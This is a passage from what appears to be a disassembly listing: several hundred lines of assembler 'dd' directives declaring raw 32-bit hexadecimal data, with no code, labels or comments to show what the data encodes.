		dd 4FF13732h, 9DA5BAh, 59A88862h, 44C25B50h, 32B72600h
		dd 98A98E9Ah, 7A9B00F4h, 61F6B26Fh, 0BEB0A51Ch,	37631500h
		dd 0AA838E8Ah, 7747EABCh, 672E009Bh, 0CF06861h,	100086E7h
		dd 776EF962h, 98F1E2C2h, 146BF6DCh, 0B00B4AB3h,	374FB002h
		dd 0A2008F33h, 48BAFE63h, 47804492h, 0BD389AAEh, 74DEB600h
		dd 290813C9h, 97EF03A4h, 0ABB2C8EBh, 74A3FE0h, 0DE0E3773h
		dd 1BFF742h, 934606E5h,	0B70FB041h, 0A00BE3E0h,	0B05AF280h
		dd 0DCE00084h, 46F3CB62h, 0FEFA72CAh, 0E9DBD502h, 4B0AD094h
		dd 7A12C060h, 29981F9Ch, 0A41C0658h, 0B8E6BC51h, 37F9490Bh
		dd 0CE0C8044h, 0F2107C9Ah, 11DE0185h, 0B4DA6C98h, 0CAF0308Fh
		dd 729B3B24h, 59226A01h, 0C8649CD7h, 904300C4h,	0B3F7628Dh
		dd 260E5037h, 4085FECAh, 60F9DC1Eh, 39DD3B61h, 16B57B24h
		dd 622C0F67h, 0E7881720h, 4E0BF53Dh, 5AFAB6h, 7F56FB4Ch
		dd 0E3AE4C4Fh, 6DE9F600h, 74FFD0BCh, 48BB712Eh,	8D631700h
		dd 3D2040D2h, 0E302CA9Ah, 141123FAh, 49ED4CC0h,	3EA18440h
		dd 3B025C0Fh, 1B6D0446h, 7D588C81h, 596A6033h, 3CF06439h
		dd 36CA7EAh, 0F083A714h, 0F4113AD1h, 4C201F5h, 0DF7A618Bh
		dd 7D2CF463h, 4AC73803h, 3787398h, 5C3465D0h, 0F6A0B1D0h
		dd 0E501BC4Eh, 60EDB4E4h, 6C30E299h, 3A9700A2h,	7862243Ch
		dd 0CF0674FAh, 4DD39FFDh, 0EDE80499h, 0C02BC558h, 0BA9019ACh
		dd 2276F300h, 5C7B0E3Bh, 7C9886h, 0B235679Dh, 0BCAE6370h
		dd 373BA00h, 0CFEEDBAAh, 0A66C142Dh, 7ED02Eh, 0F16FA064h
		dd 0D9250148h, 2CACDF03h, 0C7DEC7FCh, 98750550h, 4FDA00E2h
		dd 2BB4483h, 2E0FF236h
		dd 0E0B5689Ah, 88CA64DBh, 90F000CEh, 987718A9h,	0CC0016E5h
		dd 3B531755h, 7DC4EC3h,	0CA826DBBh, 75E10104h, 0BB807ADFh
		dd 0FF61Fh, 9E34A189h, 6CD15C10h, 0D6F84350h, 6E393A77h
		dd 3C590081h, 3941365Fh, 8D801F11h, 0F6508075h,	5117F70Ch
		dd 3FA27800h, 0C4CEE8B2h, 86AA001Bh, 2536208Bh,	9909D7CAh
		dd 81B9E291h, 0A4B6FA3Ch, 8B00EC2Ch, 0E75997F7h, 8C286F8Dh
		dd 70EBBE3h, 60D93E5Fh,	1150B2Dh, 0D84B2A6Ah, 0FE6905C0h
		dd 0C0B584F5h, 276CD25Ch, 6A28667Ah, 4A00E815h,	8E4E4F18h
		dd 785ACBDh, 64D61FECh,	9F9D31A8h, 819D70D2h, 0E0DEEA00h
		dd 3410997Fh, 310B0057h, 367A04C6h, 0F1F09C0h, 0B9C019E7h
		dd 8677E8A2h, 0FA2100AFh, 8C4C1052h, 0C40068CAh, 0F0421B4Bh
		dd 0F70E84h, 9C44D33Bh,	0DE867135h, 0C67FB11Fh,	494C2A45h
		dd 906DF0D1h, 34583D08h, 0CE781EC8h, 3E7BF040h,	0FAA69Eh
		dd 0AE452988h, 0E05DF3C9h, 80477427h, 18753B88h, 43EEE1E1h
		dd 7AD7888Ch, 0CAE406E2h, 28774735h, 0D4AD1513h, 56751704h
		dd 28764980h, 0CEDE00E2h, 79AA1237h, 843C1517h,	94F2024Ch
		dd 0D5654248h, 0E8A5E1E1h, 8F00714Fh, 53D7C52h,	9098D04Ch
		dd 0BF0D009Ch, 0B6AB2D36h, 0E5F4CF4Bh, 0DC9FD8C0h, 1C6855Eh
		dd 10EA9E9Ch, 284391BAh, 30D60030h, 4FBC8ED1h, 0EF192703h
		dd 0DA771000h, 5800CA5Ch, 3C48A497h, 70EF445h, 0B6895985h
		dd 0BC04EF8Fh, 7779808Ch, 18B888DCh, 0F6A3500h,	0AA052F10h
		dd 0AE7D029Ah, 4DF5B063h, 844AB481h, 8023CD8Fh,	686F0C50h
		dd 4CBB9C34h, 0B4157C0Eh, 487AD470h, 724CF6h, 9E028A50h
		dd 0E508A061h, 66DD22E8h, 9170CAC0h, 13503490h,	8B22DECh
		dd 0F80F09C0h, 2AE905h,	8138B9ECh, 37FF1BAFh, 71CFE0FAh
		dd 4006C32Bh, 0CD28F6D8h, 0A7F4EB03h, 90ACE46Bh, 0E65626FAh
		dd 0DDA0002Ch, 13D8D2A4h, 7E1C8AB8h, 1CE40948h,	55AAEF84h
		dd 698020D4h, 0E6511480h, 421896A0h, 0A40093B9h, 0E85AC741h
		dd 3A1C079Ch, 0C9C0DDh,	83B2593Ch, 600C3D04h, 0C281E7D0h
		dd 0C0EE146Bh, 650B6Ch,	0E2011949h, 5B6CEFC6h, 20B90600h
		dd 3AD8A78Eh, 9C91F8A9h, 4974139Ch, 0D1003438h,	7A4BE73Bh
		dd 58E3D02Ch, 0B7642200h, 268DC44h, 0B4EE82E4h,	29C05C7Fh
		dd 0B600D44Dh, 0C6A36FC8h, 0FE84D3h, 8CF8B4F2h,	91B95DCEh
		dd 0FC7C3Bh, 0FA3DC4A2h, 0C55A80h, 89BBD88Dh, 975ED745h
		dd 0C883E00h, 0CF1E0393h, 6CF85Dh, 24193C54h, 9BD384FEh
		dd 0C6A48200h, 4FB8BDDAh, 7FA2004Dh, 0C1E605F6h, 0A30F682Ah
		dd 40D5F0B5h, 4E631E5Eh, 7137F79h, 89C0B1EBh, 19A2A05Fh
		dd 0B60022BDh, 7012B0B7h, 1C25D7CDh, 40A8D60Ch,	0E753B295h
		dd 0D90F078h, 0BA817300h, 60D3CE42h, 0C48E85Ah,	0D4466E9Ah
		dd 95003B10h, 0D979148Fh, 13FBDB7Fh, 12534Ch, 94EFE0DEh
		dd 10016EAEh, 9246799h,	49D4765Bh, 1E11008Fh, 88BCD39h
		dd 0E9E492ABh, 18DD4F07h, 0C0903E4Ch, 46513Ch, 3D1EB50Bh
		dd 70E2BA8Ah, 0E896BC30h, 0F8D01B76h, 5C110062h, 47423641h
		dd 330CDC4h, 0D7C89450h, 68971D0Eh, 0DBC28098h,	1C4D464Ah
		dd 75FBE00h, 0DF7BECF7h, 4FD80089h, 4558CEE3h, 27008DE5h
		dd 79EB83Bh, 3621A6h, 7F29C280h, 2F75884Dh, 0A700B9F8h
		dd 80A2531h, 1850FD8h, 3C1DCFAFh, 0E4C6A1F5h, 0D30030DBh
		dd 0F2842F8Ch, 0CF3316h, 89902C8Ah, 1C4962D5h, 0DA8C5600h
		dd 161D5017h, 47B00B2h,	740EE103h, 3E069EAAh, 7034B86Ah
		dd 0EC830010h, 6FBBF2B1h, 9A1FB0A0h, 0E700752Eh, 8133800Fh
		dd 5BC200F8h, 0FB6CEDEEh, 6100CAFDh, 9B38652h, 1DD3A98Eh
		dd 4070F6D4h, 711023B6h, 0E603162Eh, 7A10D17h, 0C974F881h
		dd 139F0161h, 2479B7A8h, 0C89D7011h, 7277D400h,	63DEB83Fh
		dd 4FF600F7h, 18E74D15h, 2E00586Eh, 74025069h, 0D6BFC5h
		dd 97EB5F4h, 893038B7h,	37971800h, 0DE53F6DAh, 0D510046h
		dd 0AC1EB85Eh, 0A700581Dh, 14A1A4E6h, 0C03B9E40h, 0B4296270h
		dd 110EEEB6h, 47FCBFF6h, 738033AAh, 1D13CB22h, 0ABE03Bh
		dd 0F8A11EDCh, 1C00B2DBh, 3F91AD42h, 30C318ACh,	1EA8140Eh
		dd 0B0072F3h, 0EC3EA6D0h, 398553h, 335078CFh, 6DA4B42Ah
		dd 642CC300h, 251BA730h, 8BE0EF7h, 0F2000321h, 556BBA17h
		dd 9A21200h, 0D2FBC093h, 4551037Ch, 0AA81CE66h,	14C9A6F0h
		dd 2CAEB900h, 4A7CD335h, 5FB800EFh, 6452A7FFh, 1D037501h
		dd 0D1C7AEDAh, 4824E832h, 0EAC60019h, 0DE968322h, 0B978ADB2h
		dd 41C3FB00h, 6933B49Eh, 8890C0h, 0D9C199FCh, 1672D818h
		dd 9FE3CA03h, 88F6F54Ah, 639AABh, 0D903B0EDh, 0BFAE2173h
		dd 1ACDE900h, 0F8E02981h, 0CEE860h, 57C1EE66h, 95DCF97Eh
		dd 0C700AE78h, 5E5DBF37h, 0E4D599C9h, 358C03E0h, 0B6335CDEh
		dd 5B582800h, 4D1ABC77h, 8A4A3E1Bh, 40688D04h, 867081A8h
		dd 5E0D397h, 0DD00A437h, 7D8DCF66h, 232624h, 3EAB0E93h
		dd 0CC3F3C70h, 2A117B01h, 85DF29BEh, 0B09A8730h, 1EE26Ah
		dd 0DD01F013h, 893BB6C8h, 0FC00667Ch, 1C7514E5h, 1A65B9h
		dd 43ADC431h, 8621B503h, 0F3000B7Eh, 675F5746h,	97D588h
		dd 0D80E89B4h, 939EAB76h, 0C6007771h, 484AA4BFh, 1785FE54h
		dd 7BCB249h, 0E0C90A50h, 0E299E733h, 0F6912C3Bh, 4FC01C00h
		dd 0A8F2678Fh, 6EBB0036h, 0AB1573A3h, 2F2C5922h, 2A00FE76h
		dd 84D2F97Ch, 57851D18h, 90018293h, 44421F6Ah, 0E621EC40h
		dd 73535500h, 0B1E0C650h, 37D403B6h, 0C72ADE90h, 3ECBBC88h
		dd 14EBB0Fh, 18AD8013h,	3DDEC5B7h, 1E00CD9Dh, 83E808DDh
		dd 0F004599h, 86981673h, 0E0EB8D1h, 0CB176FA9h,	0AFDA18E1h
		dd 5E52C463h, 0FE2BD812h, 708C5A10h, 0ED1E2501h, 0E15DE019h
		dd 0F180F8h, 0BEFF9C09h, 0B557057Dh, 0E07E871Dh, 5876DAC1h
		dd 0D8F89866h, 5C5100D4h, 0C1D23D05h, 0DDB84299h, 901B3B00h
		dd 0EB72E318h, 98F51E62h, 0D2F83088h, 1501C8B3h, 79B45F9Bh
		dd 0C5D020CEh, 2DA5006Ch, 0C88CB0B6h, 5448B2CFh, 1FE72C4h
		dd 58754600h, 0C4D60D6Ah, 0B26700A7h, 6091B3D7h, 0E5001B1Ah
		dd 0D13DD3C2h, 3CC3F364h, 0C580EDADh, 0B55695B2h, 1E056231h
		dd 9AF4445Bh, 33ABCD00h, 1CD85291h, 40FEC843h, 0D9DA3127h
		dd 95008C32h, 0CA8A095Ch, 0E840AFh, 4AE248B3h, 7507C396h
		dd 6E52B500h, 68D0CC39h, 0D49B0042h, 0E10228DCh, 0A74557Ah
		dd 0AC993807h, 5F0113h,	0A5A8EC9Ah, 4C6E0F03h, 5820CDE7h
		dd 922B9C41h, 650064FAh, 0B7BAD1D6h, 0C33A3Fh, 0B57730Ch
		dd 33D32661h, 3651BC00h, 7A9C6DF0h, 0CDB835h, 3C1272A1h
		dd 0F43EA5E4h, 0BFC46600h, 0B3FE3ACCh, 0B5BC0031h, 671114A0h
		dd 0D0E1C3EFh, 5C147843h, 80C4B7F9h, 0DD4B95A7h, 527C398Fh
		dd 2E00D8C9h, 0CE6024FEh, 1413BAAAh, 170C612Dh,	13A7EC41h
		dd 0BA2A0ABh, 1800EC83h, 0CBC73669h, 98A1FD1Dh,	0C640DE9Dh
		dd 5B4CB750h, 0FC0FE70h, 498EF0DFh, 9D200200h, 77EE6C0Fh
		dd 29D38A00h, 0E5E42B2Fh, 78130052h, 39CE65FDh,	0D74C8228h
		dd 0FE4D005Ch, 5046034Eh, 343B1FFCh, 0AB2C80B5h, 25DB7135h
		dd 0BDBBBE00h, 0C3F84DAEh, 73B20014h, 2D2F9255h, 90E29A8h
		dd 608BCEA2h, 1A7CA41h,	4CE84803h, 0A102B407h, 0CC78400Fh
		dd 70D4C99Eh, 47770CD4h, 1D880E8h, 0DF2E16A4h, 0D04019CCh
		dd 0DB312782h, 9AC22158h
		dd 89421C40h, 0B41D1DA1h, 251300A2h, 1F24DDC5h,	0BAC74300h
		dd 2A1E0B83h, 166D01F2h, 0C2062F05h, 3AE1C8BBh,	1402CF01h
		dd 91BD5508h, 0B5D0E4h,	0B6B35C9Fh, 0C4A5C76Bh,	1FDF413Fh
		dd 0BCC0C93Eh, 0D4019519h, 452A302Ch, 297C4291h, 11803841h
		dd 8C885FAEh, 0A1714E1Dh, 63B41205h, 5C0B95CCh,	623500F6h
		dd 3A89BEE0h, 0FE06D88Bh, 491C8855h, 1D257700h,	60F061DEh
		dd 0CA5900F3h, 913D765Fh, 7AF28594h, 15C3D303h,	0E01C8B16h
		dd 7BECF5FFh, 5A870078h, 19795F48h, 9791AC5h, 51CBCA00h
		dd 302F1C4Bh, 2725584Fh, 0DBEC3D00h, 499317C6h,	0C00CCC00h
		dd 55E30596h, 293A00B9h, 106A1583h, 0B800D43Dh,	7F38C7F8h
		dd 12638404h, 0F057EE82h, 0BD00E643h, 531822DCh, 26061DB9h
		dd 16477323h, 0D8885AA7h, 8C89043Dh, 0B470A0F0h, 96FBD7h
		dd 61DC04E2h, 0DEB71CBFh, 6864E0Fh, 0CE00FFC1h,	0BA779631h
		dd 836007DFh, 0CEB22C75h, 0CC9C05D2h, 4DE04E65h, 2B9E3C83h
		dd 89C45110h, 0D611BC81h, 8A2982CCh, 8063F253h,	0ADC16DBCh
		dd 794BE0E3h, 0C2B900B0h, 0AF4ACBA4h, 8331FAE2h, 0D515615Fh
		dd 0BC726043h, 7A184314h, 0E1191928h, 1F129B00h, 0D4B89DBh
		dd 70D352CAh, 7BD9F10h,	62BC54D8h, 5C06534Fh, 44E81488h
		dd 5F3E4E20h, 61C00B2h,	11C370C4h, 0A6E344C1h, 40718A0Ah
		dd 56634CE7h, 0D259E08Bh, 501F08C3h, 0E701C561h, 0E265D010h
		dd 0CBA9448h, 0DA68C29Bh, 43146CA8h, 1888BFB2h,	0F6F12677h
		dd 0B07429CCh, 7D0421F8h, 0FA027761h, 6CE51085h, 8CB80037h
		dd 8B6F0ABAh, 57F21415h, 585013BCh, 22FB1403h, 0AE2921C6h
		dd 90683308h, 98C9846Ch, 5C42A248h, 2118245Bh, 3611EF39h
		dd 6AA2110Fh, 0BF806817h, 24B7FFEh, 637200A0h, 87A3CDECh
		dd 3C7A7A4Dh, 0EB67CF00h, 0E48E73D1h, 39C00093h, 8CAB4953h
		dd 7200A726h, 0F9359154h, 0EF08EBh, 143D5D63h, 29E09A8Eh
		dd 0C6DCE807h, 12C0516Ch, 1D456AD4h, 79484Ah, 3B9347B4h
		dd 98008D9Ch, 58D51BBDh, 9A667Ch, 48922D5Eh, 0EEFEF3BEh
		dd 4F8C2000h, 7ADB8969h, 948E00EFh, 0F2F7A755h,	0A1073CA0h
		dd 0ECD384CBh, 57975B40h, 3250009Ah, 0C5AD395Eh, 0A91491E5h
		dd 0D04E29h, 674123A3h,	0EB96A18h, 0B19A124Ah, 4F63C71Dh
		dd 0FB8E803Ch, 8F009C4Dh, 11B3DE45h, 0BCA1D9Fh,	5B376830h
		dd 0A3F32600h, 0F80B79EAh, 12FEC9Dh, 9BAB3AB1h,	94B681F0h
		dd 468038FCh, 87A45401h, 0EB0099CBh, 3898214Ch,	7FB83CF0h
		dd 3CDF8EAh, 3D3FD884h,	0B1C0E6C9h, 0C790380Ah,	24837300h
		dd 591AAA10h, 30DAE416h, 78112C64h, 5E074093h, 0D8EF763Bh
		dd 0F85F2303h, 329B79h,	72AB0817h, 2D4CE488h, 2305DF00h
		dd 720DC45h, 315F2EBh, 0F58E0287h, 6D88575Dh, 95000E65h
		dd 0B7593371h, 0ACF4C62h, 0DFD396FCh, 3A6501F2h, 40605667h
		dd 2B1127DEh, 0B4702600h, 0B6282A6Ch, 0E01901FDh, 4BF279EEh
		dd 5F94F87Eh, 1FFAE15Ch, 31C335E3h, 0B0DB86C9h,	484BB353h
		dd 0A3079CEDh, 80D3E10Dh, 0E0234217h, 72DF10Fh,	9695E0AFh
		dd 4A7BABF9h, 1613AC6Dh, 7600F33Fh, 5923CCA9h, 0A0B10F54h
		dd 0C7458D36h, 0C1758060h, 3A1F73FDh, 47031481h, 0D0435118h
		dd 322C49Ah, 17348AB1h,	48A825CEh, 700BD924h, 15ABD7Eh
		dd 9AE9833Eh, 7527DAF4h, 88782Eh, 0EEC0ED8Eh, 3035C13Eh
		dd 0C85EA100h, 18B32221h, 4DA017C7h, 6628216Eh,	8022DDh
		dd 0BF5B1550h, 8C217Fh,	324BD898h, 0B6D94F81h, 3B0EEE05h
		dd 0D800E1AAh, 8EE74482h, 11E30060h, 23FDC467h,	0C100984Fh
		dd 0AB5A7CAFh, 2C2BF0h,	28AA350Ch, 0EF547870h, 88B89A12h
		dd 19C40A00h, 75AE8AE3h, 0A9FD0408h, 90C045ECh,	551092E8h
		dd 5B87A000h, 0EF13758Ah, 224AB9h, 6BDDBFBCh, 8002A26h
		dd 91F4DABCh, 24137B9Ch, 0A6F1CFh, 7339C553h, 9490F96Ch
		dd 0D6001990h, 74236DBBh, 88EADFh, 0CAB1F89Ah, 52775AEh
		dd 0C5B9200h, 5E8EE88Ah, 41693071h, 0F664CC30h,	0D80E221Fh
		dd 38F76680h, 3F19DAFh,	791B695Dh, 0E1B84DA9h, 5A036B81h
		dd 59FEA523h, 544100BEh, 75C7A880h, 2604DDCCh, 0DA13400Bh
		dd 3758C8h, 6BF5579h, 0E7090A8h, 0DB006179h, 0D4F609B5h
		dd 72A7DE50h, 33EA0145h, 6C8E19E5h, 0CEB080C3h,	404FCCE8h
		dd 12091DDDh, 5C4480A9h, 83B5D7CAh, 9E3E1D00h, 0B464D2F4h
		dd 0E3E40390h, 0E8C15E26h, 0A82DEF98h, 369FB900h, 75D2975Ah
		dd 0DF9C18EAh, 0B1E7C067h, 6A147F00h, 12A1E95Ch, 4077FDh
		dd 9F82F95Ah, 7D501117h, 0DC78343Bh, 6920008Fh,	0E137D9A9h
		dd 0FBB300C1h, 7792F436h, 380081ABh, 3328CD67h,	3E8F948Ah
		dd 46000C5Dh, 60A7D3EBh, 0DE5805D9h, 29D174Ch, 0E946680h
		dd 0C1E00066h, 6E418BBFh, 337F5443h, 64C55D03h,	0C06FD092h
		dd 0AE5505h, 0BCF398A9h, 81DD6006h, 744CB7E4h, 265113FBh
		dd 0DF7EFC02h, 3EB066A5h, 9A0020D4h, 3FCBA37Dh,	5B00C436h
		dd 6501B676h, 0C136A5Dh, 3B9D3AAFh, 6D005A40h, 973CDB52h
		dd 121D57A1h, 338AE06h,	7B6E420Ch, 17703190h, 0E3496B18h
		dd 3CAD05D1h, 0CC0E6A02h, 79A134D6h, 26C957F6h,	0E0007978h
		dd 9BC089CAh, 0B82D9Ah,	30DA6371h, 442C8FAh, 0D63F4503h
		dd 7C9DF80h, 0A8DC46D1h, 0A8224448h, 0D23200A5h, 0DDA32373h
		dd 3CD3FC17h, 0F8134EEh, 6549B374h, 9067F081h, 710EBFE0h
		dd 0AC290Eh, 9992C19Bh,	0B34600F0h, 3450843Bh, 0D500EC8Bh
		dd 3D121CE2h, 9057EF1Dh, 9A300691h, 11D6EDE7h, 80CA583Fh
		dd 6B0629D7h, 0DE0F97h,	0CD046130h, 0B32D110Bh,	0F6748900h
		dd 2FE739F4h, 5972B8h, 0B9543A70h, 155788ACh, 1180C00h
		dd 0BB4EC956h, 0DE390068h, 33968E7Ch, 0B4003CBFh, 7A22F373h
		dd 9EFF617h, 85AEF12Bh,	55490460h, 4D216802h, 400DB06Fh
		dd 1638ACC0h, 39D9117h,	16603EE4h, 0CD2731E8h, 0AA09B801h
		dd 0E4703559h, 3DF21360h, 3D2C7662h, 5F8A0019h,	0AB470702h
		dd 67B65501h, 0BC6B193Ch, 0E5907185h, 5008A057h, 0EDD39809h
		dd 0AA0812Dh, 7761C15Ah, 71E720h, 4F931B99h, 79E9586Dh
		dd 0EC18022Ch, 57613E00h, 166CE6h, 0E8D63BF8h, 0B8FDC75Ah
		dd 67003FF8h, 0C12BE7B7h, 460CDBh, 9F13721h, 0D1E21173h
		dd 0F79A3114h, 0B2EF1CBCh, 804BED49h, 60CA6514h, 31D31CF2h
		dd 0B38A805Bh, 9D28A3D2h, 0C2E892E4h, 12145E24h, 0E856BE00h
		dd 4A93CDh, 0E01B6566h,	6D33B958h, 5707DB00h, 71B0AD8Bh
		dd 0B5010125h, 0D1F5CEB2h, 7A956075h, 5C919F00h, 0A40E1893h
		dd 0FCD60124h, 0FE29FD76h, 0A8543007h, 0EB4D0F03h, 0E08D6649h
		dd 22014A6h, 6C50FBDBh,	0ECC0D470h, 550003C1h, 9AE62494h
		dd 0E3FE264h, 1A362F8Fh, 5880C3ABh, 0F1225BB6h,	0EC00A6FAh
		dd 0CB771052h, 3C8F733Dh, 3080BF6Ah, 1D8E0B05h,	4538D311h
		dd 9C64D008h, 7B0089B0h, 0A6B3F73Fh, 96816Eh, 0D6396CC9h
		dd 0E1F3A31Eh, 0FC976500h, 6E05ACECh, 8CE70258h, 0E451D528h
		dd 0A2B180C0h, 0DE4F030Ch, 0B85710EDh, 7CDC0098h, 92E08CA3h
		dd 0BC0076F6h, 93B90711h, 2CC22F70h, 93BCBB47h,	5540336Eh
		dd 810485ACh, 0F4824A70h, 8E0013F6h, 0AFCF6C4Ch, 3C902Bh
		dd 0A414C3A1h, 0E45CCD65h, 0B67470EFh, 18F35F0Ch, 84D959F2h
		dd 63827F16h, 0AD734041h, 0AAF1BAACh, 0EAB480DEh, 7CC40FCh
		dd 5DD3B486h, 0E839105Eh
		dd 0FA003E12h, 4325747Eh, 7CF7ECh, 5BC916E9h, 0DD504453h
		dd 4F0F94B8h, 6B37CD29h, 0DB9E034Dh, 0B7A3B83Fh, 64390057h
		dd 597C569Ah, 250C6BBAh, 0A044CB91h, 850384CEh,	52AF41Fh
		dd 5EE2804Bh, 0C11132Dh, 9A00BEB0h, 9579EDA6h, 15E8C7F4h
		dd 80DDCF66h, 4FAF676h,	0DD0059E2h, 6D919457h, 0AA50BEh
		dd 0F39E8632h, 0D773853Fh, 3003D7Dh, 9B9694Bh, 0E055BBh
		dd 0A9CD526Ah, 0D0832B30h, 0AED28B00h, 0F0E996C8h, 240B0556h
		dd 0FC7FE13h, 9F3DE2A2h, 0AA36C16Ch, 400342A7h,	0C389EBA0h
		dd 64B12B03h, 0C837A356h, 997FA5h, 1CA77B8Fh, 0F312F724h
		dd 0CDFBC40Eh, 3F396025h, 7592E3Ah, 90FD1592h, 2948CCA5h
		dd 1CB87A76h, 0B3C4803h, 0E827536Bh, 0DAB332h, 0E3DC5B84h
		dd 83422681h, 0CAF3A200h, 3BA0396Dh, 2E4FFBFh, 38EA004Dh
		dd 68FD0995h, 6C00741Dh, 45885AADh, 556B41h, 0F1E9474Ch
		dd 0C9032724h, 0E521C700h, 0DFBEFEF5h, 308983Ah, 6D4E4257h
		dd 0B6005E19h, 342DECF6h, 0E8B1B2h, 0AE81E267h,	0F8E6F498h
		dd 1F5EDEF3h, 5FFA5B00h, 3C7E5Ch, 0C524DDBh, 0A9CB7228h
		dd 1EF68B0Fh, 0B131E0FDh, 76B6516h, 0DF9A624Bh,	25BE30FBh
		dd 9301EB2Dh, 49EBBF8h,	0C080F2BCh, 0CB7C5EE9h,	52003BBFh
		dd 2657926Eh, 123ECA3Dh, 811440h, 28EDC5B3h, 0FB0CA5CFh
		dd 904774E2h, 0B2C0611h, 608CB684h, 0C0592003h,	8802CF82h
		dd 62FE90h, 49856C38h, 0A88343B8h, 0BBE328C0h, 0E105F537h
		dd 115261CEh, 0BD34E0h,	5C5A120Bh, 9BDC3D8Fh, 4CF2D51Fh
		dd 8857C4C0h, 38154E6h,	2EC1CB21h, 0B5C005E1h, 7000A450h
		dd 7BFF76ACh, 0D66315h,	0DB166D71h, 17F05C2Eh, 2700477Dh
		dd 6C46D13Ch, 0B03294D7h, 0C070BEh, 59DDEF53h, 204970FAh
		dd 0B99CF300h, 3C841AA5h, 521F00F5h, 0FBD6539Ah, 69038DADh
		dd 605A5C05h, 0D8EFFB5Eh, 0B2E75C3h, 847ADD96h,	712F7C01h
		dd 13F040B0h, 6700BEA4h, 8A92B578h, 19D16Ch, 752D93BBh
		dd 30257EE1h, 648D1200h, 0D8B77790h, 9A8C0020h,	606A130Ch
		dd 4000EB7Ch, 9FD43748h, 28B6DDh, 0E1AD04B4h, 68B1AC9Eh
		dd 931C2D2Eh, 0BAF8630h, 63E2DEh, 678BA390h, 95553CD5h
		dd 2ECAFB00h, 0FABE8F19h, 0F371009Ah, 1CE8D104h, 84500378h
		dd 0D9008B90h, 421F0E66h, 2E5991h, 0C6F811B4h, 0E162BC10h
		dd 1EC86700h, 0D2F454A6h, 40CB00E5h, 6E603F25h,	0E977BA9Dh
		dd 8D4AE100h, 22CD55B7h, 332D018Ah, 4596DF5Eh, 75EFEC86h
		dd 0C900057Dh, 0F87823F5h, 0E0686Dh, 0E8B87BC5h, 4E62C393h
		dd 0C43BB778h, 48BB0099h, 0A109963Fh, 6EF70015h, 42DBD185h
		dd 4E145289h, 0A4D3C0h,	3D10FDE5h, 964E365h, 9D295CD4h
		dd 61523C00h, 0E80F6217h, 0ACE5FCC8h, 7718A6h, 37CEDCC1h
		dd 0CB5F3045h, 66FC1E14h, 2A180599h, 0C0004668h, 0BD3A2D56h
		dd 0B6E607CAh, 0C4596A10h, 6F848033h, 84001951h, 94031D5Ah
		dd 54B3B97h, 0D13255DFh, 247BC77Eh, 549C80C3h, 7F48B0ABh
		dd 178E1F8Fh, 663BD380h, 8A82E7h, 74C4F82Ah, 0F0BF9DAFh
		dd 1F599814h, 88E039D4h, 182D750h, 9E2C55Fh, 658DFCD3h
		dd 4011C9Ah, 0C078D789h, 908343F9h, 0B6B03068h,	181CEFC0h
		dd 0A9942207h, 0C161727Fh, 83CC1BC4h, 0F1611471h, 7A04D489h
		dd 42BAC3h, 0D192406Dh,	0E1C60001h, 0C70535B9h,	23C3015h
		dd 4B71124Eh, 0AD5CA030h, 6390093h, 0BC136524h,	3004352h
		dd 0A1E17E79h, 0E93BDCh, 99E36C7Ah, 9250AB59h, 4296A400h
		dd 11462AB1h, 84E92FDAh, 1C4C5AE0h, 1B93Ch, 0D9EE5B77h
		dd 2D3FE3h, 5A709F0Ah, 0B5A59BA0h, 80DD523Dh, 0B904F714h
		dd 6FFF54h, 937F3459h, 82B77BC9h, 0D1B2B600h, 3BCED2D5h
		dd 4AB41F29h, 0FE3D400Eh, 7EB338A0h, 20DC2300h,	0F570BA45h
		dd 494B006Fh, 0E230B24Eh, 3100809Ah, 0CE190952h, 1D81DB47h
		dd 1C9010h, 55FA6169h, 271248F2h, 7D00DCBBh, 221189F0h
		dd 2D7D126Fh, 46580373h, 2CE89025h, 7B80D2E6h, 48B60F6Bh
		dd 5620EF68h, 0DA5D6F09h, 0DEDC8603h, 0F87B055Ah, 30E827D1h
		dd 20CC44F4h, 1004F09h,	80B48AAEh, 5EC245h, 0A96732F8h
		dd 0C7CF8851h, 5A18050Ch, 260C786Ch, 80808106h,	0E1A62F98h
		dd 0B202E499h, 0B83FFC5Eh, 0A108EAEh, 0DD001C07h, 0CF9CA03Ch
		dd 0B8A10D74h, 0E1183522h, 8610BE94h, 0C1DE9BC0h, 1B5B1820h
		dd 59EFE96Ah, 150C56Fh,	2887B2Ch, 9F67AAE0h, 0F7030CD8h
		dd 7D622A76h, 0A332A347h, 0EF08074Fh, 0C042456Fh, 0F730DB97h
		dd 0C1937718h, 14CF8E70h, 501F05CEh, 70B80937h,	2EC9886Bh
		dd 0D50A7474h, 686A972Ch, 5A44D038h, 0C285B62h,	32646091h
		dd 0A2043A39h, 82627E00h, 0D4CC3518h, 4C111901h, 817B65B9h
		dd 0FD777F4h, 958DE35Ah, 0AC60E48Fh, 0F1239C87h, 0B8548200h
		dd 3C743F5h, 0A73205A1h, 0EE9205B7h, 0BF813EC0h, 28FE84h
		dd 662558ADh, 59805260h, 0FC1C4BFEh, 0B200E371h, 6258CB63h
		dd 0A7E83Eh, 73CF38FAh,	0FC5B4860h, 1B581760h, 0FAE2202h
		dd 1072114Fh, 0E8248E60h, 527803E1h, 933F6900h,	702F2996h
		dd 0A5DC01E6h, 3920F838h, 0C5D447C9h, 32D04074h, 581EB613h
		dd 2A70400h, 94E0F8F5h,	838B0265h, 0C65D5C46h, 0EF19CA0h
		dd 2C06CAB5h, 44818C9Bh, 21F56009h, 27B5B691h, 0AD402E03h
		dd 8830ECh, 70AE3948h, 0A6B7BF85h, 2FA3BD0Ch, 7068162h
		dd 7744B6F1h, 9BDB131Ah, 505CCBE1h, 267546ECh, 0BB350400h
		dd 6268ADFDh, 226490D7h, 0A5027FD8h, 0F72549D6h, 832C43D5h
		dd 89083085h, 498FCB21h, 571C300h, 0CC3D18D3h, 0EB781D48h
		dd 11C5002Eh, 8B667E44h, 0F93632F0h, 2218F83Fh,	0F8037034h
		dd 760B6ED7h, 913FC11Eh, 6162FCh, 0FDBFB6F4h, 60047FC5h
		dd 8633E700h, 78C65A22h, 256B009Ch, 0F891244Ch,	26008F01h
		dd 2192E0BFh, 37A705Fh,	0BD527BA4h, 7D86B8Ah, 5B053646h
		dd 803E09A0h, 0C8AAAAC0h, 20B0086h, 2F7008BCh, 0D700346Bh
		dd 6EB35B6Ah, 0EFA25F5h, 6D500DF0h, 1128D106h, 0F0043352h
		dd 0C02A7DC9h, 0E750B410h, 8EFC4D47h, 0F6CA31Ch, 991092C0h
		dd 1D82F264h, 45BC90BDh, 8028FDEAh, 0ADC7091Ah,	21AFDB00h
		dd 42A2C5F8h, 8C1F0175h, 5A9F1BBFh, 0CCE5ECA4h,	68DC3Eh
